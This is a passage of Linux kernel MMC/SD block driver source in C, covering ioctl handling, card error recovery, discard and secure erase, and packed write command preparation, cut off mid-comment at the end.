if (idata->ic.postsleep_min_us)
usleep_range(idata->ic.postsleep_min_us, idata->ic.postsleep_max_us);
if (copy_to_user(&(ic_ptr->response), cmd.resp, sizeof(cmd.resp))) {
err = -EFAULT;
goto cmd_rel_host;
}
if (!idata->ic.write_flag) {
if (copy_to_user((void __user *)(unsigned long) idata->ic.data_ptr,
idata->buf, idata->buf_bytes)) {
err = -EFAULT;
goto cmd_rel_host;
}
}
if (is_rpmb) {
/*
* Ensure RPMB command has completed by polling CMD13
* "Send Status".
*/
err = ioctl_rpmb_card_status_poll(card, &status, 5);
if (err)
dev_err(mmc_dev(card->host),
"%s: Card Status=0x%08X, error %d\n",
__func__, status, err);
}
cmd_rel_host:
mmc_release_host(card->host);
cmd_done:
mmc_blk_put(md);
cmd_err:
kfree(idata->buf);
kfree(idata);
return err;
}
static int mmc_blk_ioctl(struct block_device *bdev, fmode_t mode,
unsigned int cmd, unsigned long arg)
{
int ret = -EINVAL;
if (cmd == MMC_IOC_CMD)
ret = mmc_blk_ioctl_cmd(bdev, (struct mmc_ioc_cmd __user *)arg);
return ret;
}
#ifdef CONFIG_COMPAT
static int mmc_blk_compat_ioctl(struct block_device *bdev, fmode_t mode,
unsigned int cmd, unsigned long arg)
{
return mmc_blk_ioctl(bdev, mode, cmd, (unsigned long) compat_ptr(arg));
}
#endif
static const struct block_device_operations mmc_bdops = {
.open = mmc_blk_open,
.release = mmc_blk_release,
.getgeo = mmc_blk_getgeo,
.owner = THIS_MODULE,
.ioctl = mmc_blk_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = mmc_blk_compat_ioctl,
#endif
};
static inline int mmc_blk_part_switch(struct mmc_card *card,
struct mmc_blk_data *md)
{
int ret;
struct mmc_blk_data *main_md = mmc_get_drvdata(card);
if (main_md->part_curr == md->part_type)
return 0;
if (mmc_card_mmc(card)) {
u8 part_config = card->ext_csd.part_config;
part_config &= ~EXT_CSD_PART_CONFIG_ACC_MASK;
part_config |= md->part_type;
ret = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
EXT_CSD_PART_CONFIG, part_config,
card->ext_csd.part_time);
if (ret)
return ret;
card->ext_csd.part_config = part_config;
}
main_md->part_curr = md->part_type;
return 0;
}
static u32 mmc_sd_num_wr_blocks(struct mmc_card *card)
{
int err;
u32 result;
__be32 *blocks;
struct mmc_request mrq = {NULL};
struct mmc_command cmd = {0};
struct mmc_data data = {0};
struct scatterlist sg;
cmd.opcode = MMC_APP_CMD;
cmd.arg = card->rca << 16;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, 0);
if (err)
return (u32)-1;
if (!mmc_host_is_spi(card->host) && !(cmd.resp[0] & R1_APP_CMD))
return (u32)-1;
memset(&cmd, 0, sizeof(struct mmc_command));
cmd.opcode = SD_APP_SEND_NUM_WR_BLKS;
cmd.arg = 0;
cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_ADTC;
data.blksz = 4;
data.blocks = 1;
data.flags = MMC_DATA_READ;
data.sg = &sg;
data.sg_len = 1;
mmc_set_data_timeout(&data, card);
mrq.cmd = &cmd;
mrq.data = &data;
blocks = kmalloc(4, GFP_KERNEL);
if (!blocks)
return (u32)-1;
sg_init_one(&sg, blocks, 4);
mmc_wait_for_req(card->host, &mrq);
result = ntohl(*blocks);
kfree(blocks);
if (cmd.error || data.error)
result = (u32)-1;
return result;
}
static int send_stop(struct mmc_card *card, u32 *status)
{
struct mmc_command cmd = {0};
int err;
cmd.opcode = MMC_STOP_TRANSMISSION;
cmd.flags = MMC_RSP_SPI_R1B | MMC_RSP_R1B | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, 5);
if (err == 0)
*status = cmd.resp[0];
return err;
}
static int get_card_status(struct mmc_card *card, u32 *status, int retries)
{
struct mmc_command cmd = {0};
int err;
cmd.opcode = MMC_SEND_STATUS;
if (!mmc_host_is_spi(card->host))
cmd.arg = card->rca << 16;
cmd.flags = MMC_RSP_SPI_R2 | MMC_RSP_R1 | MMC_CMD_AC;
err = mmc_wait_for_cmd(card->host, &cmd, retries);
if (err == 0)
*status = cmd.resp[0];
return err;
}
#define ERR_NOMEDIUM 3
#define ERR_RETRY 2
#define ERR_ABORT 1
#define ERR_CONTINUE 0
static int mmc_blk_cmd_error(struct request *req, const char *name, int error,
bool status_valid, u32 status)
{
switch (error) {
case -EILSEQ:
/* response crc error, retry the r/w cmd */
pr_err("%s: %s sending %s command, card status %#x\n",
req->rq_disk->disk_name, "response CRC error",
name, status);
return ERR_RETRY;
case -ETIMEDOUT:
pr_err("%s: %s sending %s command, card status %#x\n",
req->rq_disk->disk_name, "timed out", name, status);
/* If the status cmd initially failed, retry the r/w cmd */
if (!status_valid)
return ERR_RETRY;
/*
* If it was a r/w cmd crc error, or illegal command
* (eg, issued in wrong state) then retry - we should
* have corrected the state problem above.
*/
if (status & (R1_COM_CRC_ERROR | R1_ILLEGAL_COMMAND))
return ERR_RETRY;
/* Otherwise abort the command */
return ERR_ABORT;
default:
/* We don't understand the error code the driver gave us */
pr_err("%s: unknown error %d sending read/write command, card status %#x\n",
req->rq_disk->disk_name, error, status);
return ERR_ABORT;
}
}
/*
* Initial r/w and stop cmd error recovery.
* We don't know whether the card received the r/w cmd or not, so try to
* restore things back to a sane state. Essentially, we do this as follows:
* - Obtain card status. If the first attempt to obtain card status fails,
* the status word will reflect the failed status cmd, not the failed
* r/w cmd. If we fail to obtain card status, it suggests we can no
* longer communicate with the card.
* - Check the card state. If the card received the cmd but there was a
* transient problem with the response, it might still be in a data transfer
* mode. Try to send it a stop command. If this fails, we can't recover.
* - If the r/w cmd failed due to a response CRC error, it was probably
* transient, so retry the cmd.
* - If the r/w cmd timed out, but we didn't get the r/w cmd status, retry.
* - If the r/w cmd timed out, and the r/w cmd failed due to CRC error or
* illegal cmd, retry.
* Otherwise we don't understand what happened, so abort.
*/
static int mmc_blk_cmd_recovery(struct mmc_card *card, struct request *req,
struct mmc_blk_request *brq, int *ecc_err, int *gen_err)
{
bool prev_cmd_status_valid = true;
u32 status, stop_status = 0;
int err, retry;
if (mmc_card_removed(card))
return ERR_NOMEDIUM;
/*
* Try to get card status which indicates both the card state
* and why there was no response. If the first attempt fails,
* we can't be sure the returned status is for the r/w command.
*/
for (retry = 2; retry >= 0; retry--) {
err = get_card_status(card, &status, 0);
if (!err)
break;
prev_cmd_status_valid = false;
pr_err("%s: error %d sending status command, %sing\n",
req->rq_disk->disk_name, err, retry ? "retry" : "abort");
}
/* We couldn't get a response from the card. Give up. */
if (err) {
/* Check if the card is removed */
if (mmc_detect_card_removed(card->host))
return ERR_NOMEDIUM;
return ERR_ABORT;
}
/* Flag ECC errors */
if ((status & R1_CARD_ECC_FAILED) ||
(brq->stop.resp[0] & R1_CARD_ECC_FAILED) ||
(brq->cmd.resp[0] & R1_CARD_ECC_FAILED))
*ecc_err = 1;
/* Flag General errors */
if (!mmc_host_is_spi(card->host) && rq_data_dir(req) != READ)
if ((status & R1_ERROR) ||
(brq->stop.resp[0] & R1_ERROR)) {
pr_err("%s: %s: general error sending stop or status command, stop cmd response %#x, card status %#x\n",
req->rq_disk->disk_name, __func__,
brq->stop.resp[0], status);
*gen_err = 1;
}
/*
* Check the current card state. If it is in some data transfer
* mode, tell it to stop (and hopefully transition back to TRAN.)
*/
if (R1_CURRENT_STATE(status) == R1_STATE_DATA ||
R1_CURRENT_STATE(status) == R1_STATE_RCV) {
err = send_stop(card, &stop_status);
if (err)
pr_err("%s: error %d sending stop command\n",
req->rq_disk->disk_name, err);
/*
* If the stop cmd also timed out, the card is probably
* not present, so abort. Other errors are bad news too.
*/
if (err)
return ERR_ABORT;
if (stop_status & R1_CARD_ECC_FAILED)
*ecc_err = 1;
if (!mmc_host_is_spi(card->host) && rq_data_dir(req) != READ)
if (stop_status & R1_ERROR) {
pr_err("%s: %s: general error sending stop command, stop cmd response %#x\n",
req->rq_disk->disk_name, __func__,
stop_status);
*gen_err = 1;
}
}
/* Check for set block count errors */
if (brq->sbc.error)
return mmc_blk_cmd_error(req, "SET_BLOCK_COUNT", brq->sbc.error,
prev_cmd_status_valid, status);
/* Check for r/w command errors */
if (brq->cmd.error)
return mmc_blk_cmd_error(req, "r/w cmd", brq->cmd.error,
prev_cmd_status_valid, status);
/* Data errors */
if (!brq->stop.error)
return ERR_CONTINUE;
/* Now for stop errors. These aren't fatal to the transfer. */
pr_err("%s: error %d sending stop command, original cmd response %#x, card status %#x\n",
req->rq_disk->disk_name, brq->stop.error,
brq->cmd.resp[0], status);
/*
* Subsitute in our own stop status as this will give the error
* state which happened during the execution of the r/w command.
*/
if (stop_status) {
brq->stop.resp[0] = stop_status;
brq->stop.error = 0;
}
return ERR_CONTINUE;
}
static int mmc_blk_reset(struct mmc_blk_data *md, struct mmc_host *host,
int type)
{
int err;
if (md->reset_done & type)
return -EEXIST;
md->reset_done |= type;
err = mmc_hw_reset(host);
/* Ensure we switch back to the correct partition */
if (err != -EOPNOTSUPP) {
struct mmc_blk_data *main_md = mmc_get_drvdata(host->card);
int part_err;
main_md->part_curr = main_md->part_type;
part_err = mmc_blk_part_switch(host->card, md);
if (part_err) {
/*
* We have failed to get back into the correct
* partition, so we need to abort the whole request.
*/
return -ENODEV;
}
}
return err;
}
static inline void mmc_blk_reset_success(struct mmc_blk_data *md, int type)
{
md->reset_done &= ~type;
}
static int mmc_blk_issue_discard_rq(struct mmc_queue *mq, struct request *req)
{
struct mmc_blk_data *md = mq->data;
struct mmc_card *card = md->queue.card;
unsigned int from, nr, arg;
int err = 0, type = MMC_BLK_DISCARD;
if (!mmc_can_erase(card)) {
err = -EOPNOTSUPP;
goto out;
}
from = blk_rq_pos(req);
nr = blk_rq_sectors(req);
if (mmc_can_discard(card))
arg = MMC_DISCARD_ARG;
else if (mmc_can_trim(card))
arg = MMC_TRIM_ARG;
else
arg = MMC_ERASE_ARG;
retry:
if (card->quirks & MMC_QUIRK_INAND_CMD38) {
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
INAND_CMD38_ARG_EXT_CSD,
arg == MMC_TRIM_ARG ?
INAND_CMD38_ARG_TRIM :
INAND_CMD38_ARG_ERASE,
0);
if (err)
goto out;
}
err = mmc_erase(card, from, nr, arg);
out:
if (err == -EIO && !mmc_blk_reset(md, card->host, type))
goto retry;
if (!err)
mmc_blk_reset_success(md, type);
blk_end_request(req, err, blk_rq_bytes(req));
return err ? 0 : 1;
}
static int mmc_blk_issue_secdiscard_rq(struct mmc_queue *mq,
struct request *req)
{
struct mmc_blk_data *md = mq->data;
struct mmc_card *card = md->queue.card;
unsigned int from, nr, arg, trim_arg, erase_arg;
int err = 0, type = MMC_BLK_SECDISCARD;
if (!(mmc_can_secure_erase_trim(card) || mmc_can_sanitize(card))) {
err = -EOPNOTSUPP;
goto out;
}
from = blk_rq_pos(req);
nr = blk_rq_sectors(req);
/* The sanitize operation is supported at v4.5 only */
if (mmc_can_sanitize(card)) {
erase_arg = MMC_ERASE_ARG;
trim_arg = MMC_TRIM_ARG;
} else {
erase_arg = MMC_SECURE_ERASE_ARG;
trim_arg = MMC_SECURE_TRIM1_ARG;
}
if (mmc_erase_group_aligned(card, from, nr))
arg = erase_arg;
else if (mmc_can_trim(card))
arg = trim_arg;
else {
err = -EINVAL;
goto out;
}
retry:
if (card->quirks & MMC_QUIRK_INAND_CMD38) {
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
INAND_CMD38_ARG_EXT_CSD,
arg == MMC_SECURE_TRIM1_ARG ?
INAND_CMD38_ARG_SECTRIM1 :
INAND_CMD38_ARG_SECERASE,
0);
if (err)
goto out_retry;
}
err = mmc_erase(card, from, nr, arg);
if (err == -EIO)
goto out_retry;
if (err)
goto out;
if (arg == MMC_SECURE_TRIM1_ARG) {
if (card->quirks & MMC_QUIRK_INAND_CMD38) {
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
INAND_CMD38_ARG_EXT_CSD,
INAND_CMD38_ARG_SECTRIM2,
0);
if (err)
goto out_retry;
}
err = mmc_erase(card, from, nr, MMC_SECURE_TRIM2_ARG);
if (err == -EIO)
goto out_retry;
if (err)
goto out;
}
if (mmc_can_sanitize(card))
err = mmc_switch(card, EXT_CSD_CMD_SET_NORMAL,
EXT_CSD_SANITIZE_START, 1, 0);
out_retry:
if (err && !mmc_blk_reset(md, card->host, type))
goto retry;
if (!err)
mmc_blk_reset_success(md, type);
out:
blk_end_request(req, err, blk_rq_bytes(req));
return err ? 0 : 1;
}
static int mmc_blk_issue_flush(struct mmc_queue *mq, struct request *req)
{
struct mmc_blk_data *md = mq->data;
struct mmc_card *card = md->queue.card;
int ret = 0;
ret = mmc_flush_cache(card);
if (ret)
ret = -EIO;
blk_end_request_all(req, ret);
return ret ? 0 : 1;
}
/*
* Reformat current write as a reliable write, supporting
* both legacy and the enhanced reliable write MMC cards.
* In each transfer we'll handle only as much as a single
* reliable write can handle, thus finish the request in
* partial completions.
*/
static inline void mmc_apply_rel_rw(struct mmc_blk_request *brq,
struct mmc_card *card,
struct request *req)
{
if (!(card->ext_csd.rel_param & EXT_CSD_WR_REL_PARAM_EN)) {
/* Legacy mode imposes restrictions on transfers. */
if (!IS_ALIGNED(brq->cmd.arg, card->ext_csd.rel_sectors))
brq->data.blocks = 1;
if (brq->data.blocks > card->ext_csd.rel_sectors)
brq->data.blocks = card->ext_csd.rel_sectors;
else if (brq->data.blocks < card->ext_csd.rel_sectors)
brq->data.blocks = 1;
}
}
#define CMD_ERRORS \
(R1_OUT_OF_RANGE | /* Command argument out of range */ \
R1_ADDRESS_ERROR | /* Misaligned address */ \
R1_BLOCK_LEN_ERROR | /* Transferred block length incorrect */\
R1_WP_VIOLATION | /* Tried to write to protected block */ \
R1_CC_ERROR | /* Card controller error */ \
R1_ERROR) /* General/unknown error */
static int mmc_blk_err_check(struct mmc_card *card,
struct mmc_async_req *areq)
{
struct mmc_queue_req *mq_mrq = container_of(areq, struct mmc_queue_req,
mmc_active);
struct mmc_blk_request *brq = &mq_mrq->brq;
struct request *req = mq_mrq->req;
int ecc_err = 0, gen_err = 0;
/*
* sbc.error indicates a problem with the set block count
* command. No data will have been transferred.
*
* cmd.error indicates a problem with the r/w command. No
* data will have been transferred.
*
* stop.error indicates a problem with the stop command. Data
* may have been transferred, or may still be transferring.
*/
if (brq->sbc.error || brq->cmd.error || brq->stop.error ||
brq->data.error) {
switch (mmc_blk_cmd_recovery(card, req, brq, &ecc_err, &gen_err)) {
case ERR_RETRY:
return MMC_BLK_RETRY;
case ERR_ABORT:
return MMC_BLK_ABORT;
case ERR_NOMEDIUM:
return MMC_BLK_NOMEDIUM;
case ERR_CONTINUE:
break;
}
}
/*
* Check for errors relating to the execution of the
* initial command - such as address errors. No data
* has been transferred.
*/
if (brq->cmd.resp[0] & CMD_ERRORS) {
pr_err("%s: r/w command failed, status = %#x\n",
req->rq_disk->disk_name, brq->cmd.resp[0]);
return MMC_BLK_ABORT;
}
/*
* Everything else is either success, or a data error of some
* kind. If it was a write, we may have transitioned to
* program mode, which we have to wait for it to complete.
*/
if (!mmc_host_is_spi(card->host) && rq_data_dir(req) != READ) {
u32 status;
unsigned long timeout;
/* Check stop command response */
if (brq->stop.resp[0] & R1_ERROR) {
pr_err("%s: %s: general error sending stop command, stop cmd response %#x\n",
req->rq_disk->disk_name, __func__,
brq->stop.resp[0]);
gen_err = 1;
}
timeout = jiffies + msecs_to_jiffies(MMC_BLK_TIMEOUT_MS);
do {
int err = get_card_status(card, &status, 5);
if (err) {
pr_err("%s: error %d requesting status\n",
req->rq_disk->disk_name, err);
return MMC_BLK_CMD_ERR;
}
if (status & R1_ERROR) {
pr_err("%s: %s: general error sending status command, card status %#x\n",
req->rq_disk->disk_name, __func__,
status);
gen_err = 1;
}
/* Timeout if the device never becomes ready for data
* and never leaves the program state.
*/
if (time_after(jiffies, timeout)) {
pr_err("%s: Card stuck in programming state!"\
" %s %s\n", mmc_hostname(card->host),
req->rq_disk->disk_name, __func__);
return MMC_BLK_CMD_ERR;
}
/*
* Some cards mishandle the status bits,
* so make sure to check both the busy
* indication and the card state.
*/
} while (!(status & R1_READY_FOR_DATA) ||
(R1_CURRENT_STATE(status) == R1_STATE_PRG));
}
/* if general error occurs, retry the write operation. */
if (gen_err) {
pr_warn("%s: retrying write for general error\n",
req->rq_disk->disk_name);
return MMC_BLK_RETRY;
}
if (brq->data.error) {
pr_err("%s: error %d transferring data, sector %u, nr %u, cmd response %#x, card status %#x\n",
req->rq_disk->disk_name, brq->data.error,
(unsigned)blk_rq_pos(req),
(unsigned)blk_rq_sectors(req),
brq->cmd.resp[0], brq->stop.resp[0]);
if (rq_data_dir(req) == READ) {
if (ecc_err)
return MMC_BLK_ECC_ERR;
return MMC_BLK_DATA_ERR;
} else {
return MMC_BLK_CMD_ERR;
}
}
if (!brq->data.bytes_xfered)
return MMC_BLK_RETRY;
if (mmc_packed_cmd(mq_mrq->cmd_type)) {
if (unlikely(brq->data.blocks << 9 != brq->data.bytes_xfered))
return MMC_BLK_PARTIAL;
else
return MMC_BLK_SUCCESS;
}
if (blk_rq_bytes(req) != brq->data.bytes_xfered)
return MMC_BLK_PARTIAL;
return MMC_BLK_SUCCESS;
}
static int mmc_blk_packed_err_check(struct mmc_card *card,
struct mmc_async_req *areq)
{
struct mmc_queue_req *mq_rq = container_of(areq, struct mmc_queue_req,
mmc_active);
struct request *req = mq_rq->req;
struct mmc_packed *packed = mq_rq->packed;
int err, check, status;
u8 *ext_csd;
BUG_ON(!packed);
packed->retries--;
check = mmc_blk_err_check(card, areq);
err = get_card_status(card, &status, 0);
if (err) {
pr_err("%s: error %d sending status command\n",
req->rq_disk->disk_name, err);
return MMC_BLK_ABORT;
}
if (status & R1_EXCEPTION_EVENT) {
ext_csd = kzalloc(512, GFP_KERNEL);
if (!ext_csd) {
pr_err("%s: unable to allocate buffer for ext_csd\n",
req->rq_disk->disk_name);
return -ENOMEM;
}
err = mmc_send_ext_csd(card, ext_csd);
if (err) {
pr_err("%s: error %d sending ext_csd\n",
req->rq_disk->disk_name, err);
check = MMC_BLK_ABORT;
goto free;
}
if ((ext_csd[EXT_CSD_EXP_EVENTS_STATUS] &
EXT_CSD_PACKED_FAILURE) &&
(ext_csd[EXT_CSD_PACKED_CMD_STATUS] &
EXT_CSD_PACKED_GENERIC_ERROR)) {
if (ext_csd[EXT_CSD_PACKED_CMD_STATUS] &
EXT_CSD_PACKED_INDEXED_ERROR) {
packed->idx_failure =
ext_csd[EXT_CSD_PACKED_FAILURE_INDEX] - 1;
check = MMC_BLK_PARTIAL;
}
pr_err("%s: packed cmd failed, nr %u, sectors %u, "
"failure index: %d\n",
req->rq_disk->disk_name, packed->nr_entries,
packed->blocks, packed->idx_failure);
}
free:
kfree(ext_csd);
}
return check;
}
static void mmc_blk_rw_rq_prep(struct mmc_queue_req *mqrq,
struct mmc_card *card,
int disable_multi,
struct mmc_queue *mq)
{
u32 readcmd, writecmd;
struct mmc_blk_request *brq = &mqrq->brq;
struct request *req = mqrq->req;
struct mmc_blk_data *md = mq->data;
bool do_data_tag;
/*
* Reliable writes are used to implement Forced Unit Access and
* REQ_META accesses, and are supported only on MMCs.
*
* XXX: this really needs a good explanation of why REQ_META
* is treated special.
*/
bool do_rel_wr = ((req->cmd_flags & REQ_FUA) ||
(req->cmd_flags & REQ_META)) &&
(rq_data_dir(req) == WRITE) &&
(md->flags & MMC_BLK_REL_WR);
memset(brq, 0, sizeof(struct mmc_blk_request));
brq->mrq.cmd = &brq->cmd;
brq->mrq.data = &brq->data;
brq->cmd.arg = blk_rq_pos(req);
if (!mmc_card_blockaddr(card))
brq->cmd.arg <<= 9;
brq->cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_ADTC;
brq->data.blksz = 512;
brq->stop.opcode = MMC_STOP_TRANSMISSION;
brq->stop.arg = 0;
brq->stop.flags = MMC_RSP_SPI_R1B | MMC_RSP_R1B | MMC_CMD_AC;
brq->data.blocks = blk_rq_sectors(req);
/*
* The block layer doesn't support all sector count
* restrictions, so we need to be prepared for too big
* requests.
*/
if (brq->data.blocks > card->host->max_blk_count)
brq->data.blocks = card->host->max_blk_count;
if (brq->data.blocks > 1) {
/*
* After a read error, we redo the request one sector
* at a time in order to accurately determine which
* sectors can be read successfully.
*/
if (disable_multi)
brq->data.blocks = 1;
/* Some controllers can't do multiblock reads due to hw bugs */
if (card->host->caps2 & MMC_CAP2_NO_MULTI_READ &&
rq_data_dir(req) == READ)
brq->data.blocks = 1;
}
if (brq->data.blocks > 1 || do_rel_wr) {
/* SPI multiblock writes terminate using a special
* token, not a STOP_TRANSMISSION request.
*/
if (!mmc_host_is_spi(card->host) ||
rq_data_dir(req) == READ)
brq->mrq.stop = &brq->stop;
readcmd = MMC_READ_MULTIPLE_BLOCK;
writecmd = MMC_WRITE_MULTIPLE_BLOCK;
} else {
brq->mrq.stop = NULL;
readcmd = MMC_READ_SINGLE_BLOCK;
writecmd = MMC_WRITE_BLOCK;
}
if (rq_data_dir(req) == READ) {
brq->cmd.opcode = readcmd;
brq->data.flags |= MMC_DATA_READ;
} else {
brq->cmd.opcode = writecmd;
brq->data.flags |= MMC_DATA_WRITE;
}
if (do_rel_wr)
mmc_apply_rel_rw(brq, card, req);
/*
* Data tag is used only during writing meta data to speed
* up write and any subsequent read of this meta data
*/
do_data_tag = (card->ext_csd.data_tag_unit_size) &&
(req->cmd_flags & REQ_META) &&
(rq_data_dir(req) == WRITE) &&
((brq->data.blocks * brq->data.blksz) >=
card->ext_csd.data_tag_unit_size);
/*
* Pre-defined multi-block transfers are preferable to
* open ended-ones (and necessary for reliable writes).
* However, it is not sufficient to just send CMD23,
* and avoid the final CMD12, as on an error condition
* CMD12 (stop) needs to be sent anyway. This, coupled
* with Auto-CMD23 enhancements provided by some
* hosts, means that the complexity of dealing
* with this is best left to the host. If CMD23 is
* supported by card and host, we'll fill sbc in and let
* the host deal with handling it correctly. This means
* that for hosts that don't expose MMC_CAP_CMD23, no
* change of behavior will be observed.
*
* N.B: Some MMC cards experience perf degradation.
* We'll avoid using CMD23-bounded multiblock writes for
* these, while retaining features like reliable writes.
*/
if ((md->flags & MMC_BLK_CMD23) && mmc_op_multi(brq->cmd.opcode) &&
(do_rel_wr || !(card->quirks & MMC_QUIRK_BLK_NO_CMD23) ||
do_data_tag)) {
brq->sbc.opcode = MMC_SET_BLOCK_COUNT;
brq->sbc.arg = brq->data.blocks |
(do_rel_wr ? (1 << 31) : 0) |
(do_data_tag ? (1 << 29) : 0);
brq->sbc.flags = MMC_RSP_R1 | MMC_CMD_AC;
brq->mrq.sbc = &brq->sbc;
}
mmc_set_data_timeout(&brq->data, card);
brq->data.sg = mqrq->sg;
brq->data.sg_len = mmc_queue_map_sg(mq, mqrq);
/*
* Adjust the sg list so it is the same size as the
* request.
*/
if (brq->data.blocks != blk_rq_sectors(req)) {
int i, data_size = brq->data.blocks << 9;
struct scatterlist *sg;
for_each_sg(brq->data.sg, sg, brq->data.sg_len, i) {
data_size -= sg->length;
if (data_size <= 0) {
sg->length += data_size;
i++;
break;
}
}
brq->data.sg_len = i;
}
mqrq->mmc_active.mrq = &brq->mrq;
mqrq->mmc_active.err_check = mmc_blk_err_check;
mmc_queue_bounce_pre(mqrq);
}
static inline u8 mmc_calc_packed_hdr_segs(struct request_queue *q,
struct mmc_card *card)
{
unsigned int hdr_sz = mmc_large_sector(card) ? 4096 : 512;
unsigned int max_seg_sz = queue_max_segment_size(q);
unsigned int len, nr_segs = 0;
do {
len = min(hdr_sz, max_seg_sz);
hdr_sz -= len;
nr_segs++;
} while (hdr_sz);
return nr_segs;
}
static u8 mmc_blk_prep_packed_list(struct mmc_queue *mq, struct request *req)
{
struct request_queue *q = mq->queue;
struct mmc_card *card = mq->card;
struct request *cur = req, *next = NULL;
struct mmc_blk_data *md = mq->data;
struct mmc_queue_req *mqrq = mq->mqrq_cur;
bool en_rel_wr = card->ext_csd.rel_param & EXT_CSD_WR_REL_PARAM_EN;
unsigned int req_sectors = 0, phys_segments = 0;
unsigned int max_blk_count, max_phys_segs;
bool put_back = true;
u8 max_packed_rw = 0;
u8 reqs = 0;
if (!(md->flags & MMC_BLK_PACKED_CMD))
goto no_packed;
if ((rq_data_dir(cur) == WRITE) &&
mmc_host_packed_wr(card->host))
max_packed_rw = card->ext_csd.max_packed_writes;
if (max_packed_rw == 0)
goto no_packed;
if (mmc_req_rel_wr(cur) &&
(md->flags & MMC_BLK_REL_WR) && !en_rel_wr)
goto no_packed;
if (mmc_large_sector(card) &&
!IS_ALIGNED(blk_rq_sectors(cur), 8))
goto no_packed;
mmc_blk_clear_packed(mqrq);
max_blk_count = min(card->host->max_blk_count,
card->host->max_req_size >> 9);
if (unlikely(max_blk_count > 0xffff))
max_blk_count = 0xffff;
max_phys_segs = queue_max_segments(q);
req_sectors += blk_rq_sectors(cur);
phys_segments += cur->nr_phys_segments;
if (rq_data_dir(cur) == WRITE) {
req_sectors += mmc_large_sector(card) ? 8 : 1;
phys_segments += mmc_calc_packed_hdr_segs(q, card);
}
do {
if (reqs >= max_packed_rw - 1) {
put_back = false;
break;
}
spin_lock_irq(q->queue_lock);
next = blk_fetch_request(q);
spin_unlock_irq(q->queue_lock);
if (!next) {
put_back = false;
break;
}
if (mmc_large_sector(card) &&
!IS_ALIGNED(blk_rq_sectors(next), 8))
break;
if (next->cmd_flags & REQ_DISCARD ||
next->cmd_flags & REQ_FLUSH)
break;
if (rq_data_dir(cur) != rq_data_dir(next))
break;
if (mmc_req_rel_wr(next) &&
(md->flags & MMC_BLK_REL_WR) && !en_rel_wr)
break;
req_sectors += blk_rq_sectors(next);
if (req_sectors > max_blk_count)
break;
phys_segments += next->nr_phys_segments;
if (phys_segments > max_phys_segs)
break;
list_add_tail(&next->queuelist, &mqrq->packed->list);
cur = next;
reqs++;
} while (1);
if (put_back) {
spin_lock_irq(q->queue_lock);
blk_requeue_request(q, next);
spin_unlock_irq(q->queue_lock);
}
if (reqs > 0) {
list_add(&req->queuelist, &mqrq->packed->list);
mqrq->packed->nr_entries = ++reqs;
mqrq->packed->retries = reqs;
return reqs;
}
no_packed:
mqrq->cmd_type = MMC_PACKED_NONE;
return 0;
}
static void mmc_blk_packed_hdr_wrq_prep(struct mmc_queue_req *mqrq,
struct mmc_card *card,
struct mmc_queue *mq)
{
struct mmc_blk_request *brq = &mqrq->brq;
struct request *req = mqrq->req;
struct request *prq;
struct mmc_blk_data *md = mq->data;
struct mmc_packed *packed = mqrq->packed;
bool do_rel_wr, do_data_tag;
u32 *packed_cmd_hdr;
u8 hdr_blocks;
u8 i = 1;
BUG_ON(!packed);
mqrq->cmd_type = MMC_PACKED_WRITE;
packed->blocks = 0;
packed->idx_failure = MMC_PACKED_NR_IDX;
packed_cmd_hdr = packed->cmd_hdr;
memset(packed_cmd_hdr, 0, sizeof(packed->cmd_hdr));
packed_cmd_hdr[0] = (packed->nr_entries << 16) |
(PACKED_CMD_WR << 8) | PACKED_CMD_VER;
hdr_blocks = mmc_large_sector(card) ? 8 : 1;
/*
* Argument for each entry of packed group
*/
list_for_each_entry(prq, &packed->list, queuelist) {
do_rel_wr = mmc_req_rel_wr(prq) && (md->flags & MMC_BLK_REL_WR);
do_data_tag = (card->ext_csd.data_tag_unit_size) &&
(prq->cmd_flags & REQ_META) &&
(rq_data_dir(prq) == WRITE) &&
((brq->data.blocks * brq->data.blksz) >=
card->ext_csd.data_tag_unit_size);
/* Argument of CMD23 */
packed_cmd_hdr[(i * 2)] =
(do_rel_wr ? MMC_CMD23_ARG_REL_WR : 0) |
(do_data_tag ? MMC_CMD23_ARG_TAG_REQ : 0) |
blk_rq_sectors(prq);
/* Argument of CMD18 or CMD25 */
packed_cmd_hdr[((i * 2)) + 1] =
mmc_card_blockaddr(card) ?
blk_rq_pos(prq) : blk_rq_pos(prq) << 9;
packed->blocks += blk_rq_sectors(prq);
i++;
}
memset(brq, 0, sizeof(struct mmc_blk_request));
brq->mrq.cmd = &brq->cmd;
brq->mrq.data = &brq->data;
brq->mrq.sbc = &brq->sbc;
brq->mrq.stop = &brq->stop;
brq->sbc.opcode = MMC_SET_BLOCK_COUNT;
brq->sbc.arg = MMC_CMD23_ARG_PACKED | (packed->blocks + hdr_blocks);
brq->sbc.flags = MMC_RSP_R1 | MMC_CMD_AC;
brq->cmd.opcode = MMC_WRITE_MULTIPLE_BLOCK;
brq->cmd.arg = blk_rq_pos(req);
if (!mmc_card_blockaddr(card))
brq->cmd.arg <<= 9;
brq->cmd.flags = MMC_RSP_SPI_R1 | MMC_RSP_R1 | MMC_CMD_ADTC;
brq->data.blksz = 512;
brq->data.blocks = packed->blocks + hdr_blocks;
brq->data.flags |= MMC_DATA_WRITE;
brq->stop.opcode = MMC_STOP_TRANSMISSION;
brq->stop.arg = 0;
brq->stop.flags = MMC_RSP_SPI_R1B | MMC_RSP_R1B | MMC_CMD_AC;
mmc_set_data_timeout(&brq->data, card);
brq->data.sg = mqrq->sg;
brq->data.sg_len = mmc_queue_map_sg(mq, mqrq);
mqrq->mmc_active.mrq = &brq->mrq;
mqrq->mmc_active.err_check = mmc_blk_packed_err_check;
mmc_queue_bounce_pre(mqrq);
}
static int mmc_blk_cmd_err(struct mmc_blk_data *md, struct mmc_card *card,
struct mmc_blk_request *brq, struct request *req,
int ret)
{
struct mmc_queue_req *mq_rq;
mq_rq = container_of(brq, struct mmc_queue_req, brq);
/*
* If this is an SD card and we're writing, we can first
* mark the known good sectors as ok.
*
* If the card is not SD, we can still ok written sectors
* as reported by the controller (which might be less than
